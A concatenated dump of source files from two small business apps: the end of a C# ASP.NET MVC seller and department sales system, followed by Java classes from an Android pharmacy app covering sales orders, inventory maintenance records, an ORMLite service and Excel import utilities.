public DbSet<Vendedor> Vendedor { get; set; }
}
}
<file_sep>using DrVendasWebMVC.Models;
using System.Collections.Generic;
using System.Linq;
namespace DrVendasWebMVC.Services
{
public class VendedorService
{
private readonly DrVendasWebMVCContext _context;
public VendedorService(DrVendasWebMVCContext context)
{
_context = context;
}
public List<Vendedor> BuscaTodosVendedores()
{
return _context.Vendedor.ToList();
}
public void Insert(Vendedor obj) {
_context.Add(obj);
_context.SaveChanges();
}
}
}
<file_sep>using DrVendasWebMVC.Models;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
namespace DrVendasWebMVC.Services
{
public class DepartamentoService
{
private readonly DrVendasWebMVCContext _context;
public DepartamentoService(DrVendasWebMVCContext context)
{
_context = context;
}
public List<Departamento> BuscaTodosDepartamentos()
{
return _context.Departamento.OrderBy(x =>x.Nome).ToList();
}
}
}
<file_sep>namespace DrVendasWebMVC.Models.Enums
{
public enum StatusVenda : int
{
Pendente =1,
Faturado =2,
Cancelado =3
}
}
<file_sep>using DrVendasWebMVC.Models;
using DrVendasWebMVC.Models.ViewModels;
using DrVendasWebMVC.Services;
using Microsoft.AspNetCore.Mvc;
namespace DrVendasWebMVC.Controllers
{
public class VendedoresController : Controller
{
private readonly VendedorService _vendedorService;
private readonly DepartamentoService _departamentoService;
public VendedoresController(VendedorService vendedorService, DepartamentoService departamentoService)
{
_vendedorService = vendedorService;
_departamentoService = departamentoService;
}
public IActionResult Index()
{
var list = _vendedorService.BuscaTodosVendedores();
return View(list);
}
public IActionResult Create() {
//Carregar os departamento
var departamentos = _departamentoService.BuscaTodosDepartamentos();
var viewModel = new VendedorFormViewModels { Departamento = departamentos};
return View(viewModel);
}
[HttpPost]
[ValidateAntiForgeryToken]
public IActionResult Create(Vendedor vendedor)
{
_vendedorService.Insert(vendedor);
return RedirectToAction(nameof(Index));
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
namespace DrVendasWebMVC.Models
{
public class Departamento
{
public int Id { get; set; }
public string Nome { get; set; }
//Um departamento tem varios vendedores
//Dessa forma estalecemos um relacionamento um para varios
public ICollection<Vendedor> Vendedores { get; set; } = new List<Vendedor>();
public Departamento()
{ }
//Nao entra a coleção de vendedor
public Departamento(int id, string nome)
{
Id = id;
Nome = nome;
}
public void AdicionarVendedor(Vendedor objVendedor)
{
Vendedores.Add(objVendedor);
}
//Total de vendas por departamento
public double TotalVendas(DateTime dtInicial, DateTime dtFinal)
{
//Soma o total de cada total de cada vendedor
return Vendedores.Sum(vendedor => vendedor.TotalVendasPorPeriodo(dtInicial, dtFinal));
}
}
}
<file_sep>using DrVendasWebMVC.Models.Enums;
using System;
using System.Collections.Generic;
using System.Linq;
namespace DrVendasWebMVC.Models
{
public class Vendedor
{
public int Id { get; set; }
public string Nome { get; set; }
public string Email { get; set; }
public DateTime DataNascimento { get; set; }
public Double SalarioBase { get; set; }
//Um vendedor pertence a um departamento
//Dessa forma estalecemos um relacionamento um para um
public Departamento Departamento { get; set; }
public int DepartamentoId { get; set; }
//Um vendedor pode ter varias vendas
//Dessa forma estalecemos um relacionamento um para varios e já instancimaos
public ICollection<Venda> Vendas { get; set; } = new List<Venda>();
public Vendedor()
{ }
//Nao entra a collection de vendas
public Vendedor(int id, string nome, string email, DateTime dataNascimento, double salarioBase, Departamento departamento)
{
Id = id;
Nome = nome;
Email = email;
DataNascimento = dataNascimento;
SalarioBase = salarioBase;
Departamento = departamento;
}
public void AdicionarVendas(Venda ve)
{
Vendas.Add(ve);
}
public void RemoveVendas(Venda ve)
{
Vendas.Remove(ve);
}
public double TotalVendasPorPeriodo(DateTime dtInicial, DateTime dtFinal)
{
//Vamos usar a nossa colecao de vendas do vendedor e usar o Linq
//filtrando pelo paramentro dtinicial e dtFinal e em seguin somarmos usando a
//funcao sum do Linq
return Vendas.Where(ve => ve.DataVenda >= dtInicial &&
ve.DataVenda <= dtFinal).Sum(ve => ve.ValorTotal);
}
}
}
| 9e57b3c86bdcd0f41f3cc05018e5029bf083fdc7 | [
"C#"
] | 10 | C# | MarcoSena2210/DrVendas | 1b4e1863a0f60de8ddb39b74403641a9a0f1fd17 | 884f0057825f88aaf524d093d70c80197b4a4776 |
refs/heads/master | <file_sep>package com.ajmst.android.salesorder;
import java.text.NumberFormat;
import java.util.ArrayList;
import java.util.List;
import com.ajmst.android.R;
import com.ajmst.android.application.AjmstApplication;
import com.ajmst.android.entity.SalesOrder;
import com.ajmst.android.entity.SalesOrderItem;
import com.ajmst.android.service.SalesOrderService;
import android.os.Bundle;
import android.app.Activity;
import android.app.AlertDialog;
import android.app.AlertDialog.Builder;
import android.content.DialogInterface;
import android.view.LayoutInflater;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.AdapterView;
import android.widget.AdapterView.OnItemLongClickListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ListView;
import android.widget.TextView;
/**
* @deprecated 已经无用,20140204
* @author caijun
*
*/
public class SalesOrderViewController{
private AjmstApplication app;
private SalesOrder salesOrder;
private SalesOrderService salesOrderService;
private LayoutInflater inflater;
private View contentView;
private Activity activity;
public SalesOrderViewController(Activity activity) {
this.activity = activity;
this.inflater = LayoutInflater.from(activity);
contentView = inflater.inflate(R.layout.activity_sales_order, null);
this.salesOrderService = new SalesOrderService(activity);
showData();
}
public void showData() {
/* super.onCreate(savedInstanceState);
requestWindowFeature(Window.FEATURE_NO_TITLE);
setContentView(R.layout.activity_sales_order);*/
app = (AjmstApplication)activity.getApplication();
salesOrder = app.getCurrSalesOrder();
displaySalesOrder();
Button btnFinish = (Button) contentView.findViewById(R.id.btnFinish);
btnFinish.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
EditText edtCustomer = (EditText)contentView.findViewById(R.id.edtCustomer);
salesOrder.setCustomer(edtCustomer.getText().toString().trim());
salesOrderService.finishOrder(salesOrder);
app.setCurrSalesOrder(null);
showData();
}
});
final ListView lvOrderItem = (ListView) contentView.findViewById(R.id.lvOrderItem);
lvOrderItem.setOnItemLongClickListener(new OnItemLongClickListener() {
@Override
public boolean onItemLongClick(AdapterView<?> arg0, View v,
final int position, long id) {
AlertDialog.Builder builder = new Builder(
activity);
// builder.setMessage("是否继续上次未完成的单据?");
// builder.setTitle("提示");
final CharSequence[] choices = new CharSequence[1];
choices[0] = "删除";
builder.setItems(choices,
new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog,
int which) {
switch (which) {
case 0:
SalesOrderItem orderItem = (SalesOrderItem) lvOrderItem
.getItemAtPosition(position);
salesOrder.deleteItem(orderItem);
salesOrderService.saveOrUpdate(salesOrder);
//setReturnResult();
refreshSalesOrder();
break;
}
dialog.dismiss();
}
});
builder.create().show();
return false;
}
});
}
/* @Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.sales_order, menu);
return true;
}*/
private void displaySalesOrder() {
ListView lvOrderItem = (ListView) contentView.findViewById(R.id.lvOrderItem);
List<SalesOrderItem> items = new ArrayList<SalesOrderItem>();
if (this.salesOrder != null) {
items = this.salesOrder.getItems();
}
OrderItemListAdaper adapter = new OrderItemListAdaper(
activity, items);
lvOrderItem.setAdapter(adapter);
showOrderInfo();
}
private void refreshSalesOrder() {
ListView lvOrderItem = (ListView) contentView.findViewById(R.id.lvOrderItem);
OrderItemListAdaper lvAdapter = ((OrderItemListAdaper) lvOrderItem
.getAdapter());
lvAdapter.notifyDataSetChanged();
showOrderInfo();
}
/**
* 显示单据主信息
*
* @author caijun 2014-1-6
*/
private void showOrderInfo() {
int count = 0;
Double amount = 0.0;
TextView tvOrderNo = (TextView) contentView.findViewById(R.id.tvOrderNo);
EditText edtCustomer = (EditText) contentView.findViewById(R.id.edtCustomer);
TextView tvAmount = (TextView) contentView.findViewById(R.id.tvAmount);
TextView tvCount = (TextView) contentView.findViewById(R.id.tvCount);
if (this.salesOrder != null) {
tvOrderNo.setText(this.salesOrder.getOrderNo());
edtCustomer.setText(this.salesOrder.getCustomer());
count = this.salesOrder.getItems().size();
amount = SalesOrderService.getOrderAmount(this.salesOrder);
}
tvCount.setText(String.valueOf(count));
NumberFormat nf = NumberFormat.getNumberInstance();
nf.setMaximumFractionDigits(3);
tvAmount.setText(nf.format(amount));//显示时保留3位小数
}
public View getContentView() {
return contentView;
}
public void setContentView(View contentView) {
this.contentView = contentView;
}
/* private void setReturnResult() {
// 设置返回商品列表的结果
Intent resultIntent = new Intent();
setResult(Activity.RESULT_OK, resultIntent);
}*/
}
<file_sep>package com.ajmst.android.application;
import com.ajmst.android.entity.SalesOrder;
import android.app.Application;
public class AjmstApplication extends Application{
private SalesOrder currSalesOrder;
@Override
public void onCreate() {
super.onCreate();
}
public SalesOrder getCurrSalesOrder() {
return currSalesOrder;
}
public void setCurrSalesOrder(SalesOrder currSalesOrder) {
this.currSalesOrder = currSalesOrder;
}
}
<file_sep>package com.ajmst.android.service;
import java.io.FileInputStream;
import java.io.InputStream;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import jxl.Workbook;
import android.content.Context;
import com.ajmst.commmon.entity.AjmstMaintain;
import com.ajmst.common.response.Response;
import com.ajmst.android.util.DateTimeUtils;
import com.ajmst.android.util.ExcelUtils;
import com.ajmst.android.util.StringUtils;
import com.j256.ormlite.stmt.QueryBuilder;
public class MaintainService extends BaseService<AjmstMaintain>{
/* private static final String LOG_TAG = "MaintainDBService";
private static final String TABLE_NAME_MAINTAIN = "maintain";
private static final String DB_NAME = "ajmst.db";
//context.getFilesDir().getAbsolutePath()
private SQLiteDatabase db;
private String dbPath;*/
private static final int DEFAULT_SHEET_INDEX = 0;//excel导入数据时,读取第几个worksheet
public MaintainService(Context context) {
super(context);
}
/**
* @author caijun 2013-12-14
* @param obj
* @return
*/
@SuppressWarnings("unchecked")
@Override
public Response saveOrUpdate(AjmstMaintain obj) {
Response r = new Response();
try {
AjmstMaintain objExist = this.getMaintainItem(obj.getSpbh(), obj.getPihao());
if (objExist != null) {
this.getDao().update(obj);
} else {
this.getDao().create(obj);
}
} catch (SQLException e) {
r.setIsOk(false);
r.setException(e);
}
return r;
}
/**
* 查询所有
* @author caijun 2013-10-15
* 改为采用ormlite来实现,20131214,cj
* @return
*/
public List<AjmstMaintain> getMaintainItems() {
return this.getMaintainItemsByGH("全部");
/* Log.d(LOG_TAG, "查询所有数据");
List<AjmstMaintain> maintainItems = new ArrayList<AjmstMaintain>();
Cursor c = db.rawQuery("select * from "+ TABLE_NAME_MAINTAIN + " order by _id", null);
c.moveToFirst();
while(!c.isAfterLast()){
AjmstMaintain maintainItem = cusorToMaintainItem(c);
maintainItems.add(maintainItem);
c.moveToNext();
}
return maintainItems;*/
}
/**
* 根据界面上的柜号查询条目
* @author caijun 2013-10-15
* 改为采用ormlite来实现,20131214,cj
* @param gh
* @return
*
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
public List<AjmstMaintain> getMaintainItemsByGH(String gh){
List<AjmstMaintain> maintainItems = new ArrayList<AjmstMaintain>();
try{
gh = gh.replace("柜", "").trim();
QueryBuilder queryBuilder = this.getDao().queryBuilder();
queryBuilder.orderBy("cabinetNo", true).orderBy("spmch", true);
if(gh.equals("全部")){
//sql = "select * from "+ TABLE_NAME_MAINTAIN + " order by _id";
}else if(gh.equals("未完成")){
queryBuilder.where().isNull("shl");
//sql = "select * from "+ TABLE_NAME_MAINTAIN + " where quantity is null order by _id";
}else{
queryBuilder.where().eq("cabinetNo", gh);
//sql = "select * from "+ TABLE_NAME_MAINTAIN + " where trim(cabinetNo)='" + gh + "' order by _id";
}
maintainItems = queryBuilder.query();
}catch(SQLException e){
e.printStackTrace();
}
return maintainItems;
/* String sql = null;
List<AjmstMaintain> maintainItems = new ArrayList<AjmstMaintain>();
gh = gh.replace("柜", "").trim();
if(gh.equals("全部")){
sql = "select * from "+ TABLE_NAME_MAINTAIN + " order by _id";
}else if(gh.equals("未完成")){
sql = "select * from "+ TABLE_NAME_MAINTAIN + " where quantity is null order by _id";
}else{
sql = "select * from "+ TABLE_NAME_MAINTAIN + " where trim(cabinetNo)='" + gh + "' order by _id";
}
Cursor c = db.rawQuery(sql, null);
c.moveToFirst();
while(!c.isAfterLast()){
AjmstMaintain maintainItem = cusorToMaintainItem(c);
maintainItems.add(maintainItem);
c.moveToNext();
}
return maintainItems;*/
}
/**
*
* @author caijun 2013-10-15
* 改为采用ormlite来实现,20131214,cj
* @param name
* @param batchcode
* @return
*/
public AjmstMaintain getMaintainItem(String name,String batchcode) {
AjmstMaintain mt = null;
try {
mt = (AjmstMaintain) this.getDao().queryBuilder().where().eq("spbh", name).and().eq("pihao", batchcode).queryForFirst();
} catch (SQLException e) {
e.printStackTrace();
}
return mt;
/* Log.d(LOG_TAG, "查询单个数据");
AjmstMaintain maintainItem = null;
Cursor c = db.rawQuery("select * from "+ TABLE_NAME_MAINTAIN + " where name='" + name + "' and batchcode=" + batchcode +"'", null);
c.moveToFirst();
while(!c.isAfterLast()){
maintainItem = cusorToMaintainItem(c);
}
return maintainItem;*/
}
/**
* @author caijun 2013-10-15
* 改为采用ormlite来实现,20131214,cj
* @param maintainItem
* @return
*/
public boolean updateQuantity(AjmstMaintain maintainItem){
Response r = this.saveOrUpdate(maintainItem);
return r.isOk();
/* String name = maintainItem.getSpbh();
String batchcode = maintainItem.getPihao();
Double quantity = maintainItem.getShl();
ContentValues values =new ContentValues();
values.put("quantity", quantity);
int result = db.update(TABLE_NAME_MAINTAIN, values, "name=? and batchcode=?", new String[]{name,batchcode});
if(result > 0){
Log.d(LOG_TAG, "更新数量:" + quantity);
return true;
}else{
return false;
}*/
}
/* private AjmstMaintain cusorToMaintainItem(Cursor c){
String spid = c.getString(c.getColumnIndex("commodityID"));
Date maintainDate = DateTimeUtils.parseDate(c.getString(c.getColumnIndex("maintainDate")), "yyyy-MM-dd");//只取到天,忽略时分秒毫秒
String name = c.getString(c.getColumnIndex("name"));
String desc = c.getString(c.getColumnIndex("description"));
String factory = c.getString(c.getColumnIndex("factory"));
String specification = c.getString(c.getColumnIndex("specification"));
String unit = c.getString(c.getColumnIndex("unit"));
String batchcode = c.getString(c.getColumnIndex("batchcode"));
Double quantity = null;
if(c.getString(c.getColumnIndex("quantity")) != null){
quantity = c.getDouble(c.getColumnIndex("quantity"));
}
Double suggestQuantity = null;
if(c.getString(c.getColumnIndex("suggestQuantity")) != null){
suggestQuantity = c.getDouble(c.getColumnIndex("suggestQuantity"));
}
String cabinetNo = c.getString(c.getColumnIndex("cabinetNo"));
String zjm = c.getString(c.getColumnIndex("mnemonicCode"));
Date createTime = DateTimeUtils.parseDate(c.getString(c.getColumnIndex("createTime")), "yyyy-MM-dd HH:mm:ss");
AjmstMaintain maintainItem = new AjmstMaintain();
AjmstMaintainId id = new AjmstMaintainId();
id.setSpid(spid);
id.setPihao(batchcode);
id.setMaintainDate(maintainDate);
maintainItem.setId(id);
maintainItem.setSpid(spid);
maintainItem.setPihao(batchcode);
maintainItem.setMaintainDate(maintainDate);
maintainItem.setSpbh(name);
maintainItem.setSpmch(desc);
maintainItem.setShengccj(factory);
maintainItem.setShpgg(specification);
maintainItem.setDw(unit);
maintainItem.setCabinetNo(cabinetNo);
maintainItem.setSuggestQuantity(suggestQuantity);
maintainItem.setShl(quantity);
maintainItem.setZjm(zjm);
maintainItem.setCreateTime(createTime);
return maintainItem;
}*/
/**
*
* @author caijun 2013-10-15
* 改为采用ormlite来实现,20131214,cj
* @param maintainItem
* @return
*/
public boolean create(AjmstMaintain maintainItem) {
Response r =this.saveOrUpdate(maintainItem);
return r.isOk();
/* ContentValues values =new ContentValues();
//maintainDate,commodityID
values.put("commodityID", maintainItem.getSpid());
values.put("batchcode", maintainItem.getPihao());
values.put("maintainDate", DateTimeUtils.formatDate(maintainItem.getMaintainDate(), "yyyy-MM-dd"));
values.put("name", maintainItem.getSpbh());
values.put("description", maintainItem.getSpmch());
values.put("factory", maintainItem.getShengccj());
values.put("specification", maintainItem.getShpgg());
values.put("unit", maintainItem.getDw());
values.put("quantity", maintainItem.getShl());
values.put("suggestQuantity", maintainItem.getSuggestQuantity());
values.put("cabinetNo", maintainItem.getCabinetNo());
values.put("mnemonicCode", maintainItem.getZjm());
values.put("createTime", DateTimeUtils.formatDate(maintainItem.getCreateTime(), "yyyy-MM-dd HH:mm:ss"));
if(db.insert(TABLE_NAME_MAINTAIN, "_id", values) == -1){
return false;
}
return true;*/
}
public boolean initData(String path){
boolean result = false;
Workbook wb = null;
try {
InputStream is = new FileInputStream(path);
wb = Workbook.getWorkbook(is);
// wb = Workbook.getWorkbook(new File(path));
List<List<String>> data = ExcelUtils.getData(wb,
DEFAULT_SHEET_INDEX);
clearData();
for (int r = 1; r < data.size(); r++) {
List<String> rowData = data.get(r);
AjmstMaintain maintainItem = new AjmstMaintain();
String spID = rowData.get(0);
if(spID == null || "".equals(spID)){
break;
}
String desc = rowData.get(1);
String batchcode = rowData.get(2);
Double suggestQuantity = Double.valueOf(StringUtils
.stringtodouble(rowData.get(3)));
Double quantity = null;
if (rowData.get(4) != null
&& "".equals(rowData.get(4).trim()) == false) {
quantity = StringUtils.stringtodouble(rowData.get(4));
}
String cabinetNo = rowData.get(5);
String factory = rowData.get(6);
String specification = rowData.get(7);
String unit = rowData.get(8);
String spid = rowData.get(13);
Date maintainDate = DateTimeUtils.parseDate(rowData.get(14), "yyyy-MM-dd");
String zjm = rowData.get(15);
if (spID != null && "".equals(spID) == false) {
/* AjmstMaintainId id = new AjmstMaintainId();
id.setSpid(spid);
id.setPihao(batchcode);
id.setMaintainDate(maintainDate);
maintainItem.setId(id);*/
maintainItem.setSpid(spid);
maintainItem.setPihao(batchcode);
maintainItem.setMaintainDate(maintainDate);
maintainItem.setSpbh(spID);
maintainItem.setSpmch(desc);
maintainItem.setShengccj(factory);
maintainItem.setShpgg(specification);
maintainItem.setDw(unit);
maintainItem.setCabinetNo(cabinetNo);
maintainItem.setSuggestQuantity(suggestQuantity);
maintainItem.setShl(quantity);
maintainItem.setZjm(zjm);
maintainItem.setCreateTime(new Date());
this.create(maintainItem);
}
}
result = true;
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
if (wb != null) {
wb.close();
}
} catch (Exception e) {
e.printStackTrace();
}
}
return result;
}
/* private void createTable(){
db.execSQL("create table " + TABLE_NAME_MAINTAIN + "(" +
"_id INTEGER PRIMARY KEY AUTOINCREMENT, " +
"commodityID TEXT," +
"name TEXT," +
"description TEXT," +
"mnemonicCode TEXT," +
"factory TEXT," +
"specification TEXT," +
"unit TEXT," +
"batchcode TEXT," +
"quantity REAL," +
"suggestQuantity REAL," +
"cabinetNo TEXT," +
"maintainDate TEXT," +
"createTime TEXT" +
")");
Log.d(LOG_TAG, "创建表");
}*/
/**
* @author caijun 2013-10-15
* 改为采用ormlite来实现,20131214,cj
* @return
*/
public int clearData(){
return this.deleteAll();
/* return db.delete(TABLE_NAME_MAINTAIN, "1=1", null);*/
}
/* public int getDataNum(){
Log.d(LOG_TAG, "查询数据个数");
Cursor c = db.rawQuery("select * from "+ TABLE_NAME_MAINTAIN + "", null);
return c.getCount();
}*/
/*
*//**
* @deprecated 不稳定,不兼容office2003以上的excel,出错会清空文件内容
* @param path
* @throws Exception
*//*
public void exportDataToExcel(String path) throws Exception{
List<AjmstMaintain> maintainItems = this.getMaintainItems();
Workbook wb = null;
String info = "";
try {
Log.d(this.getClass().getName(), "读取文件");
InputStream is = new FileInputStream(path);
wb = Workbook.getWorkbook(is);
List<List<String>> excelData = ExcelUtils.getData(wb);
//先验证是否条目相同
boolean isSameItem = true;
if(maintainItems.size() == excelData.size() - 1){
for(int i= 0; i < maintainItems.size(); i++){
AjmstMaintain maintainItem = maintainItems.get(i);
List<String> rowData = excelData.get(i+1);
if( maintainItem.getSpbh().trim().equals(rowData.get(0).trim()) == false || maintainItem.getPihao().trim().equals(rowData.get(2).trim()) == false ){
info = "数据库中第" + i + "个记录与Excel中第 " + (i+1) + " 行不同: " + maintainItem.getSpbh() + "," + maintainItem.getPihao()
+ " : " + rowData.get(0) + "," + rowData.get(2);
isSameItem = false;
break;
}
}
}else{
info = "条目个数不同,数据库中为" + maintainItems.size() + ",Excel中为"+ (excelData.size() - 1);
}
if(isSameItem == true){
// 创建workbook的副本
WritableWorkbook wbe = Workbook.createWorkbook(new File(path), wb);
// 获取第一个工作表
WritableSheet sheet = wbe.getSheet(DEFAULT_SHEET_INDEX);
for(int i= 0; i < maintainItems.size(); i++){
AjmstMaintain maintainItem = maintainItems.get(i);
info = "正在导出第" + (i + 1) + "个:" + maintainItem.getSpbh() + "," + maintainItem.getSpmch();
ExcelUtils.setCell(sheet, i+1, 4, maintainItem.getShl());
Log.d(this.getClass().getName(), "导出药品编号:" + maintainItem.getSpbh() + ",批次:" + maintainItem.getPihao() + ",数量:" + maintainItem.getShl());
}
Log.d(this.getClass().getName(), "写文件");
wbe.write();
Log.d(this.getClass().getName(), "关闭文件");
wbe.close();
Log.d(this.getClass().getName(), "导出成功");
}else{
throw new Exception(info);
}
} catch (Exception e) {
e.printStackTrace();
throw new Exception(info + ",发生异常:" + e.getMessage());
} finally {
try {
if (wb != null) {
wb.close();
}
} catch (Exception e) {
e.printStackTrace();
}
}
}*/
/*
*//**
* 导出数据库文件到指定位置(包括文件名)
* @param targetPath
*//*
public void exportDBFile(String targetPath)throws Exception{
FileChannel inChannel = null;
FileChannel outChannel = null;
FileInputStream fis = null;
FileOutputStream fos = null;
try{
File srcFile = new File(dbPath);
File targetFile = new File(targetPath);
targetFile.createNewFile();
fis = new FileInputStream(srcFile);
fos = new FileOutputStream(targetFile);
inChannel = fis.getChannel();
outChannel = fos.getChannel();
inChannel.transferTo(0, inChannel.size(), outChannel);
}catch(Exception e){
throw(e);
}finally {
try {
inChannel.close();
} catch (IOException e) {
e.printStackTrace();
}
try {
outChannel.close();
} catch (IOException e) {
e.printStackTrace();
}
try {
fis.close();
} catch (IOException e) {
e.printStackTrace();
}
try {
fos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}*/
/**
* 查找数量为空的养护条目
* @author caijun 2013-10-15
* 改为采用ormlite来实现,20131214,cj
* @return
*/
public List<AjmstMaintain> getNoQuantityItems(){
return getMaintainItemsByGH("未完成");
/* List<AjmstMaintain> maintainItems = new ArrayList<AjmstMaintain>();
String sql = "select * from "+ TABLE_NAME_MAINTAIN + " where quantity is null order by _id";
Cursor c = db.rawQuery(sql, null);
c.moveToFirst();
while(!c.isAfterLast()){
AjmstMaintain maintainItem = cusorToMaintainItem(c);
maintainItems.add(maintainItem);
c.moveToNext();
}
return maintainItems;*/
}
}
<file_sep>package com.ajmst.android.service;
import com.ajmst.android.entity.AdvAjmstGh;
import com.ajmst.android.entity.AdvSpkfk;
import com.ajmst.android.entity.MsgQueue;
import com.ajmst.android.entity.SalesOrder;
import com.ajmst.android.entity.SalesOrderItem;
import com.ajmst.commmon.entity.AjmstGh;
import com.ajmst.commmon.entity.AjmstMaintain;
import com.ajmst.commmon.entity.Spkfk;
import com.ajmst.commmon.util.BeanUtils;
import com.j256.ormlite.android.apptools.OrmLiteConfigUtil;
/**
* Database helper class used to manage the creation and upgrading of your
* database. This class also usually provides the DAOs used by the other
* classes.
*/
public class DatabaseConfigUtil extends OrmLiteConfigUtil {
private static final Class<?>[] classes = new Class[] { AdvSpkfk.class,AjmstMaintain.class,SalesOrder.class,SalesOrderItem.class,MsgQueue.class};
public static void main(String[] args) throws Exception {
System.out.println("### begin...");
writeConfigFile("ormlite_config.txt", classes);
System.out.println("### end...");
}
}
<file_sep>package com.ajmst.android.entity;
import java.io.Serializable;
import java.sql.ResultSet;
/**
*
* @author caijun
* @version 2013-01-04 created
*/
public class CommodityEntity implements Serializable {
private static final long serialVersionUID = 1704815977210868806L;
String commodityID;
String name;
String barcode;
String description;
String mnemonicCode;
String drugType;
String type;
String factory;
String specification;
String unit;
String permissionNumber;
String beActive;
String isCustom;
public CommodityEntity(){
}
public CommodityEntity(ResultSet rs) {
try{
this.commodityID = rs.getString("commodityID");
this.name = rs.getString("name");
this.barcode = rs.getString("barcode");
this.description = rs.getString("description");
this.mnemonicCode = rs.getString("mnemonicCode");
this.drugType = rs.getString("drugType");
this.type = rs.getString("type");
this.factory = rs.getString("factory");
this.specification = rs.getString("specification");
this.unit = rs.getString("unit");
this.permissionNumber = rs.getString("permissionNumber");
this.beActive = rs.getString("beActive");
this.isCustom = rs.getString("isCustom");
}catch(Exception e){
e.printStackTrace();
}
}
public String getCommodityID() {
return commodityID;
}
public void setCommodityID(String commodityID) {
this.commodityID = commodityID;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getBarcode() {
return barcode;
}
public void setBarcode(String barcode) {
this.barcode = barcode;
}
public String getDescription() {
return description;
}
public void setDescription(String description) {
this.description = description;
}
public String getMnemonicCode() {
return mnemonicCode;
}
public void setMnemonicCode(String mnemonicCode) {
this.mnemonicCode = mnemonicCode;
}
public String getDrugType() {
return drugType;
}
public void setDrugType(String drugType) {
this.drugType = drugType;
}
public String getType() {
return type;
}
public void setType(String type) {
this.type = type;
}
public String getFactory() {
return factory;
}
public void setFactory(String factory) {
this.factory = factory;
}
public String getSpecification() {
return specification;
}
public void setSpecification(String specification) {
this.specification = specification;
}
public String getUnit() {
return unit;
}
public void setUnit(String unit) {
this.unit = unit;
}
public String getPermissionNumber() {
return permissionNumber;
}
public void setPermissionNumber(String permissionNumber) {
this.permissionNumber = permissionNumber;
}
public String getBeActive() {
return beActive;
}
public void setBeActive(String beActive) {
this.beActive = beActive;
}
public String getIsCustom() {
return isCustom;
}
public void setIsCustom(String isCustom) {
this.isCustom = isCustom;
}
}
<file_sep>package com.ajmst.android.util;
public class KeyUtils {
/**
* Send a single key event.
*
* @param event is a string representing the keycode of the key event you
* want to execute.
*/
public static void sendKeyEvent(int keyCode) {
/* int eventCode = keyCode;
long now = SystemClock.uptimeMillis();
try {
KeyEvent down = new KeyEvent(now, now, KeyEvent.ACTION_DOWN, eventCode, 0);
KeyEvent up = new KeyEvent(now, now, KeyEvent.ACTION_UP, eventCode, 0);
(IWindowManager.Stub
.asInterface(ServiceManager.getService("window")))
.injectInputEventNoWait(down);
(IWindowManager.Stub
.asInterface(ServiceManager.getService("window")))
.injectInputEventNoWait(up);
} catch (RemoteException e) {
Log.i(TAG, "DeadOjbectException");
}
*/
}
}
<file_sep>package com.ajmst.android.util;
import java.io.File;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import jxl.Cell;
import jxl.Sheet;
import jxl.Workbook;
import jxl.read.biff.BiffException;
import jxl.write.WritableCell;
import jxl.write.WritableCellFormat;
import jxl.write.WritableSheet;
public class ExcelUtils {
public static Workbook getWorkbook(String path) throws BiffException, IOException{
File file = new File(path);
Workbook wb = Workbook.getWorkbook(file);
return wb;
}
/**
* @see #getData(Workbook, int)
* @param wb
* @return
*/
public static List<List<String>> getData(Workbook wb){
return getData(wb,0);
}
/**
* @see #getData(String, int)
* @param wb
* @return
*/
public static List<List<String>> getData(String path){
return getData(path,0);
}
/**
* @see #getData(Workbook, int)
* @param path
* @param sheetIdx
* @return
*/
public static List<List<String>> getData(String path,int sheetIdx){
try {
Workbook wb = ExcelUtils.getWorkbook(path);
return getData( wb, sheetIdx);
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
/**
*
* @param wb
* @param sheetIdx
* @return 二位数据列表
*/
public static List<List<String>> getData(Workbook wb,int sheetIdx){
List<List<String>> data = new ArrayList<List<String>>();
try {
Sheet sheet = wb.getSheet(sheetIdx);
for(int r = 0; r < sheet.getRows(); r++){
Cell[] cells = sheet.getRow(r);
List<String> rowData = new ArrayList<String>();
for(int c = 0; c < cells.length; c++){
rowData.add(cells[c].getContents());
}
data.add(rowData);
}
} catch (Exception e) {
e.printStackTrace();
}
return data;
}
public static String getCellStr(Sheet ws,int row, int col){
String value = null;
Cell cell = ws.getCell(col, row);
if(cell != null){
value = cell.getContents();
}
return value;
}
public static void setCell(WritableSheet ws, final int row, final int col, Object value) throws Exception {
/* // WritableCell cell =ws.getWritableCell(col, row);//获取单元格
//jxl.format.CellFormat cf = cell.getCellFormat();//获取单元格的格式
//WritableCellFormat wcf = new WritableCellFormat(ws.getCell(col, row).getCellFormat());
jxl.write.Label lbl = new jxl.write.Label(col, row, value);//修改单元格的值
//lbl.setCellFormat(wcf);//将修改后的单元格的格式设定成跟原来一样
ws.addCell(lbl);//将改过的单元格保存到sheet
*/
WritableCellFormat wcFormat = new WritableCellFormat(ws.getCell(col, row).getCellFormat());
//wcFormat.setBorder(Border.ALL, BorderLineStyle.NONE);
WritableCell wc = null;
// 判断数据是否为STRING类型,是用LABLE形式插入,否则用NUMBER形式插入
if (value == null) {
wc = new jxl.write.Blank(col, row,wcFormat);
} else if (value instanceof String) {
jxl.write.Label label = new jxl.write.Label(col, row,
value.toString(),wcFormat);
wc = label;
} else {
wc = new jxl.write.Number(col, row,
Double.valueOf(value.toString()),wcFormat);
}
ws.addCell(wc);
}
}
<file_sep>package com.ajmst.android.entity;
import java.util.Date;
import com.j256.ormlite.field.DatabaseField;
public class SalesOrderItem implements java.io.Serializable{
private static final long serialVersionUID = 4023214077706263185L;
@DatabaseField(generatedId=true)
private int id;
@DatabaseField
private String orderNo;
@DatabaseField
private int seq;
@DatabaseField
private Date createTime;
@DatabaseField
private String spid;
@DatabaseField
private String spbh;
@DatabaseField
private String spmch;
@DatabaseField
private String pihao;
@DatabaseField
private String shengccj;
@DatabaseField
private String shpgg;
@DatabaseField
private String dw;
@DatabaseField
private Double shl;
@DatabaseField
private Double lshj;
/**
* 提供无参构造函数,ormlite用
*/
public SalesOrderItem() {
}
